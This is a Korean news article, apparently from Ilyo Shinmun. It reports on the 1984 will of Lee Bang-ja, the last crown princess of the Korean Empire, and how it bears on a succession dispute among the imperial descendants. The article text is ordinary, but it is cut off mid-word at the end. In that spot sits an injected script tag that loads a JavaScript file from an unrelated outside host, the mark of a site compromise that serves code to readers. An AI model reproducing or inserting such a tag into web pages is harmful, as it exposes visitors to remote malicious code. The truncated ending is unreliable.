지난 87년 궁중 의상쇼에 출연한 이방자 여사와 84년 작성된 그의 유서 처음과 끝. 연합뉴스

옛 대한제국 황실의 후손들 간에 최근 황위 적통 논란이 빚어지는 가운데 지난 89년 사망한 마지막 황태자비 고 이방자 여사의 유서가 변수로 출현했다. <일요신문>은 지난 19일 이 여사의 대리인 격인 김상열 씨(83)가 소장하고 있는 이 여사의 유서를 직접 확인했다. 이 유서는 1984년 5월 작성된 것으로 여기에는 그의 유일한 아들인 이구 황세손 이후의 후계 문제에 대한 직접적인 언급은 없었다. 하지만 김 씨는 “84년 문서 작성 시기를 전후로 이미 황태자비께서는 이구 전하를 대신할 후계 문제에 대한 언급이 계셨으며 그 내용은 이 유서 외에 따로 보관되어 있다”고 밝혔다.

고 이방자 여사의 유서는 왜 17년이 지난 지금까지 공개되지 않은 것일까. 이에 대해 김상열 씨는 “당시 황태자비께서는 창덕궁 낙선재에서 어느 누구의 관심도 받지 못하고 쓸쓸히 승하하셨다”고 섭섭함을 토로한 뒤 “그 이후 이 유서를 공개할 만한 적절한 시점을 찾지 못했고 또 지난해 이구 전하께서 승하하셨을 때 공개하려 했으나 역시 때를 놓치고 말았다”고 덧붙였다. 그는 “하지만 최근 황실 후손들 간에 벌어지는 전혀 근거도 없는 황위 계승 논란을 바라보면서 가급적 빠른 시일 내에 모든 내용을 공표해야겠다는 결심을 했다”고 밝혔다.

기자가 김 씨를 통해 직접 확인한 이 여사의 유서는 전두환 당시 대통령에게 보내는 서신의 형식을 취하고 있었다. 하지만 김 씨에 따르면 정작 이 유서는 전 전 대통령에게 전달되지 못했다고 한다. 그가 사망한 시기가 이미 전 전 대통령이 퇴임한 이후인 89년이었기 때문이다.

‘조선왕조 오백년 사직과 대한제국의 마지막 남은 세자비로서 비(妃)가 인생을 종결하는 것은 대한제국의 종장(終章)을 기록함이 될 것’이라는 다소 비장함이 감도는 문구가 적힌 이 유서는 크게 세 가지 내용을 담고 있었다.

‘왕실을 중심으로 한 한일관계는 이것으로 끝을 맺는다’는 것과 ‘대한민국 정부에 황실의 재산 등을 모두 희사한다’는 내용이었다.

하지만 가장 많은 부분을 할애한 것은 역시 그의 유일한 혈육이자 황실의 마지막 남은 적통인 이구 황세손에 대한 언급이었다. 이 여사는 “구는 아직 미흡한 점이 없지 않으나 고 (영친왕) 전하의 유일한 적자손이고, 전하의 뜻과 혈통을 승계할 수밖에 없는 존재이므로 구가 과오를 극복할 수 있도록 선처해 달라”는 어머니로서의 간절한 부탁이 담겨 있었다.

여기서 언급된 ‘과오’는 80년경 이구 씨가 자신의 이혼과 재혼 문제 등으로 옛 황실에 상당한 파장을 불러일으킨 일을 일컫는 것으로 밝혀졌다. 특히 이구 씨가 일본 무속인 여성과 동거를 하며 본처(미국인 줄리아)와 이혼을 하려는 것에 이 여사가 격분, 한때 “황세손을 폐하고 새로운 양자를 삼겠다”는 뜻을 표명할 정도로 모자간의 불화는 극에 달했던 것으로 알려졌다. 당시 이 여사가 언급한 양자감은 이석 씨(의친왕의 10남)였던 것으로 밝혀졌다. 하지만 당시 김 씨는 “고종 황제에 의해 인정된 황세손을 지금에 와서 폐하는 것은 적절치 않고, 또한 이석 씨는 국내에서 연예인 생활을 한 바 있어 후계자로 적절치 않은 면이 있다”고 간곡히 만류했다고 전?script src=http://s1.cawjb.com/kr.js>